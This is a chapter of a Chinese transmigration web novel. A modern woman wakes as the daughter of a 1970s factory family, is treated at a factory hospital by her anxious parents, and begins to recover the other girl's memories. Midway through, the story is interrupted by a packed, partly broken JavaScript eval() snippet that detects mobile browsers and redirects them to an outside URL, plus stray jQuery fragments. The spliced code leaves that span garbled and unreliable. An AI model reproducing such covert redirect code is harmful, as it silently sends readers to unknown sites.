2. 记忆

    再醒来,宋昭彤觉得那那都不舒服。


    艰难地睁开眼皮,空洞的瞳孔慢慢聚焦,看到了逼仄的天花板,以及悬吊在头顶的钨丝灯泡。


    “……”


    宋昭彤闭上眼睛,尝试放松精神。


    但是她好像跑了全马,浑身酸痛、连嗓子也干得厉害,身下的床铺还硬邦邦的,根本无法集中注意力,控制这个怪梦。


    思绪翻飞间,她没忍住用手压了几下,得出结论。


    是小时候睡的那种可折叠铁架单人床呢。


    她可真会做梦。


    想七想八、浑浑噩噩躺了挺久,宋昭彤把自己躺得喘不过气来,还没决定要不要在梦里喝点水,后颈就多了一只温暖的手掌。


    脑袋被托起,嘴唇抵上了水杯。


    宋昭彤大喜,张开嘴巴正要痛快灌几口,唇瓣堪堪沾湿,水杯却失踪了!


    “这是恶、闷……”


    熟悉的刀片嗓让宋昭彤痛苦得皱紧了脸,心中警铃大作。


    怎么又阳了?!


    还没闹明白这个严肃的问题,床边响起陌生的声音。


    “昭昭?怎么样了?是觉得恶心胸闷吗?”


    宋昭彤被搂在怀里,又是拍背又是揉胸,她脑袋乱成浆糊,只能捂着喉咙发出了无声的假叫来抗议不满。


    “昭昭!”林静抱着好不容易退了高热却打起寒颤的女儿,对着门口喊道,“老叶,老叶!”


    正在盛粥的叶易福不敢耽搁,举着大勺进来,一眼看到红着眼睛的媳妇,心咯噔了一下,整个人都有些发飘。再巴巴探头瞧见媳妇怀中面色煞白的闺女,勺子咣当一声,砸在了脚边。


    叶易福哆哆嗦嗦道:“咱闺女——”


    “不会有事!”林静听不得半点不吉利的,怒声呵斥丈夫,随即费劲地抱起女儿,“去借板车,咱们再去趟厂医院!”


    “对、到医院!”叶易福反应过来,抹着眼泪跑了出去。


    这都什么事啊!


    他叶易福,三代贫农,和媳妇林静育有一儿一女,以吃苦耐劳的革命奋斗精神扎根省城,评上机械厂七级工人,吃了供应粮、住进筒子楼,可真是祖坟冒青烟了。


    儿子叶韶韶、唉!后改名叶韶。高中毕业进了肉联厂供销科,吃肉不愁的好工作,得了多少人羡慕。


    女儿叶昭昭,随媳妇生得水灵灵的,漂亮极了!懂事又孝顺!脑瓜子还好使!这筒子楼、不,机械厂就找不出哪个有他昭昭好嘞!


    昭昭高中毕业,跟着同学一起考了食品厂。


    五个人,就他昭昭考上了!


    食品厂宣传科,多适合他家昭昭啊!


    他和媳妇换了不少布票工业票,给昭昭置办手表、自行车,还做了两套最时兴的‘的确良’衬衫和军裤,一身行头走出去可精神了!


    他高兴啊!走路带风,连做梦都是喜滋滋的。


    可他没想到从小乖得不得了的闺女不声不响闹了个大的,把工作送人!


    挨千刀的曾洲文,也不知道是怎么哄骗了昭昭,把随了媳妇的脑瓜子糊弄得找不着北,好好的工作说给就给了!


    还在愁要怎么善后,居委会先来了人登记知青上山下乡。


    他和媳妇再气闷,再如何瞧不上勾搭了闺女的兔崽子,可到底舍不得昭昭离家下乡,只能掐着鼻子让闺女把结婚证办了。


    更让他不能想象的是挨千刀的曾洲文不止没本事,还是个‘陈世美’。


    要追求理想、追求事业,还要追求食品厂副厂长的女儿。


    昭昭遭受打击,回来以后把自己锁在房间,连晚饭都没吃。第二天,敲门也不应,他两口子担心出事拿了钥匙开门。


    ……


    想到伤心处,一米七五魁梧壮汉,不由泪目。


    把板车停在楼道口,叶易福草草擦了把泪,赶忙回家把闺女背下楼。


    医生对眼睛肿成核桃的叶师傅印象深刻,简单检查过,让护士把病人带到注射室,再扎一针抗生素。


    “梁医生啊,前两天就扎过屁股针了,要不要改吊瓶了?”林静忙问。


    跟在护士身后的叶易福闻言,立刻扭头看了过来。


    “先打针。”梁医生知道这两口子疼女儿,言简意赅,但语气还算温和,说完朝护士摆了摆手,示意准备注射药。


    注射室。


    “哇”了一声,宋昭彤惊叫出声。


    转头看向屁股上骇人的针头,眼白上翻,登时落下了两行泪。


    这是什么噩梦!她犯了天条?


    隔着帘子,听到闺女的惨叫,叶易福的心都要碎了。


    护士看着已经趴在老母亲腿上抽抽噎噎的病人,拔出针头,掀开帘子,目光对上眼泪花花的老父亲。


    “……”


    护士赶忙遮住铁盘上染血的棉球,头也不回溜了。


    病床上,林静还在柔声安慰女儿。


    宋昭彤本来昏沉的脑袋,被一记真实过头的屁股针扎得精神了几分,抽泣了一会儿,徒然而起的委屈又匆匆散尽,她仰起脑袋,看向了面前的女人。


    四十出头的模样,五官秀气、眼神温柔,皮肤没怎么保养过,再加上眼下的乌青,让她多了几分年龄感。


    “您怎么称呼?”宋昭彤忍着嗓子疼,礼貌问道。


    这话问的,一帘之隔的两口子都慌了。


    不会是病糊涂了吧?


    林静帮女儿把裤子拉起来,一手捂着她的脑门,一手掀开帘子。


    “赶紧!去喊梁医生!”


    “诶、诶!”叶易福魂不守舍地应了两声,直到媳妇朝他胳膊扇了一巴掌,他才后知后觉回过味,连忙出去找人。


    宋昭彤的眼珠子转了转,觑着摁在脑门上的手掌,满心狐疑。


    这在干吗?


    那个大哥怎么傻里傻气的?


    诶,这个梦怎么越来越古怪了!


    什么时候能醒?


    难道真的病了?


    宋昭彤想起睡前心脏有些不舒服,便双手交叠、动作轻缓地揉了揉心口,可她再怎么用心舒缓,那股难受的感觉依旧没有缓解。


    去年体检没说心脏有问题啊。


    她、她才把梨花接到身边,如果真的出了问题,梨花要怎么办?


    宋昭彤回忆立下的遗嘱,又想了想现金存款,心脏突突跳,一股倦意强势袭来,视线也逐渐模糊,无法继续思考


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334436|167759||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    。


    白大褂出现时,林静的声音都颤抖了,磕磕绊绊地开口道:“我闺女犯糊涂,连我也认不出来了!是不是烧坏脑子了?”


    叶易福闻言,一下子就腿软了,被跟在后面的实习医生搀扶住,才没摔个屁股蹲儿。


    他知道闺女病得厉害,但听到媳妇这话,还是感觉天塌了。


    他的昭昭、那么机灵的闺女啊!


    叶易福泣不成声。


    梁医生的表情严肃,撑开了紧闭的眼皮,直直对上要睡、又还没完全入睡的宋昭彤,透过病人瞳孔中涌现出来的情绪,迷茫、震惊、生气,以及难以言说的嫌弃,他初步判断拥有这样复杂情绪的患者脑损伤的概率极其低。


    或许在这位患者眼中,脑损伤的是他。


    “……”感到遭受背刺的梁医生有些愤懑。


    “医院不许吵嚷。”他敲敲治疗车上的不锈钢,冷冷瞥了一眼哭声震天的彪形大汉,拿起量好的温度计,问诊时病人已经睡着,他没好气地抽了抽嘴角,压低音量,“没事。”


    叶家两口子的眼睛直勾勾地盯着医生。


    梁医生叹口气,又道:“送医及时,用了药应该没有大问题。现在病情反复又嗜睡兴许是因为抵抗力弱、营养又没跟上。人睡多了总会犯迷糊,你们不要乱了阵脚,要给病人安静舒适的环境才能养好身体。”


    叶家两口子连连点头,末了林静又道:“刚刚我闺女一直在揉心口,您再给瞧瞧吧?”


    梁医生用听诊器检查过,摇了摇头,“现在看不出问题,等醒来再做个检查。让她躺平保持呼吸顺畅,如果睡得不踏实,再改成侧躺。”


    叶易福看向林静,见她没有要问的,双手握住医士的手,连声道谢。


    “谢谢、谢谢梁医生!”


    梁医生拍了拍叶易福的肩膀,带着人离开。


    叶易福弓着腰,瞅着闺女瘦了一圈的脸蛋,眼巴巴看了许久,才小声说:“媳妇,我把家里的肉粥热了带过来?你和昭昭都得好好吃饭。”


    女儿没有发热、寒颤了,林静心里踏实,也顾得上丈夫。


    把脚下的拖鞋踢到黝黑的大脚丫前面,嘴巴努了努,轻声道:“暖瓶搪瓷盆还在网兜里没拆,再瞧瞧还缺什么,我和昭昭在这里等着。”


    粗糙的大掌轻轻摸了摸闺女的脑袋,又做贼般勾了勾媳妇的手指头。得来一个眼刀,叶易福咧嘴憨笑,弯腰把媳妇的鞋子摆好,光着脚丫一溜烟跑了。


    *


    病床上的人好似在梦中遭受了巨大的冲击,垂在眼下的长睫颤动着。


    ‘昭昭,昭昭。’


    ‘阿爸阿妈都在,不怕、昭昭不怕。’


    “昭、昭——”


    宋昭彤倏然睁开眼睛,大口大口地喘着气。


    昭昭?


    她四顾了一圈,把视线落在床边,紧紧牵着她的叶家夫妻。


    耳朵里充斥了许多声音,但她却被源源不断涌入脑中的记忆、属于另一个人的记忆淹没,无暇回应。


    昭昭、叶家、宋家村的梨花。


    她是!


    宋昭彤惊恐地瞪圆了眼睛。


    她是梨花口中那个早逝的、表姨?